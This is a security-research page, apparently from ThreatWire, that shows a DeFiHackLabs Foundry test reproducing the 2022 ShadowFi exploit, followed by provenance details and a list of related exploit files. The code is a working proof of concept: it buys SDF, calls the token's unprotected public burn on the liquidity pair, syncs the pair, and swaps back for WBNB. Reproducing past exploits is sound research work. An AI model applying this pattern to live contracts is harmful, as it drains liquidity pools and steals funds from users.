Public reproduction file
src/test/2022-09/Shadowfi_exp.sol
Public reproduction file for dataset entry ShadowFi.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1pragma solidity ^0.8.10;3import "forge-std/Test.sol";4import "./../interface.sol";6interface ISDF {7 function burn(address, uint256) external;8 function balanceOf(9 address owner10 ) external view returns (uint256);11 function approve(address spender, uint256 value) external returns (bool);12}14interface IPair {15 function sync() external;16}18contract ContractTest is Test {19 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);20 Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);21 ISDF SDF = ISDF(0x10bc28d2810dD462E16facfF18f78783e859351b);22 IPair Pair = IPair(0xF9e3151e813cd6729D52d9A0C3ee69F22CcE650A);23 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);25 function setUp() public {26 cheats.createSelectFork("bsc", 20_969_095);27 }29 function testExploit() public {30 emit log_named_decimal_uint("[Start] Attacker WBNB balance before exploit", WBNB.balanceOf(address(this)), 18);32 address(WBNB).call{value: 0.01 ether}("");33 WBNBToSDF();34 SDF.burn(address(Pair), SDF.balanceOf(address(Pair)) - 1);35 Pair.sync();36 SDFToWBNB();38 emit log_named_decimal_uint("[End] Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), 18);39 }41 function WBNBToSDF() public {42 WBNB.approve(address(Router), ~uint256(0));43 address[] memory path = new address[](2);44 path[0] = address(WBNB);45 path[1] = address(SDF);46 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(47 WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp48 );49 SDF.approve(address(Router), ~uint256(0));50 }52 function SDFToWBNB() public {53 address[] memory path = new address[](2);54 path[0] = address(SDF);55 path[1] = address(WBNB);56 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(57 SDF.balanceOf(address(this)), 0, path, address(this), block.timestamp58 );59 }60}Analysis
Dataset entry
Public Foundry test for “ShadowFi” (2022-09-02). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
12 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-09/BadGuysbyRPF_exp.solSame month in the dataset · 63 lines
- src/test/2022-09/BXH_exp.solSame month in the dataset · 313 lines
- src/test/2022-09/DPC_exp.solSame month in the dataset · 102 lines
- src/test/2022-09/MEVbadc0de_exp.solSame month in the dataset · 186 lines
- src/test/2022-09/BNB48MEVBot_exp.solSame month in the dataset · 68 lines
- src/test/2022-09/NewFreeDAO_exp.solSame month in the dataset · 573 lines
- src/test/2022-09/NXUSD_exp.solSame month in the dataset · 155 lines
- src/test/2022-09/RADT_exp.solSame month in the dataset · 67 lines
- src/test/2022-09/ROI_exp.solSame month in the dataset · 297 lines
- src/test/2022-09/THB_exp.solSame month in the dataset · 91 lines
- src/test/2022-09/Yyds_exp.solSame month in the dataset · 61 lines
- src/test/2022-09/ZoomproFinance_exp.solSame month in the dataset · 100 lines
File record
- Name
- ShadowFi
- Path
- src/test/2022-09/Shadowfi_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 1b8e6f680f4b66445b35ad3e900e0b33327d26d2
- Language
- Solidity
- Size
- 61 lines
- Date
- 2022-09-02
- Licence
- ThreatWire editorial text
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-09/Shadowfi_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 1b8e6f680f4b66445b35ad3e900e0b33327d26d2, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.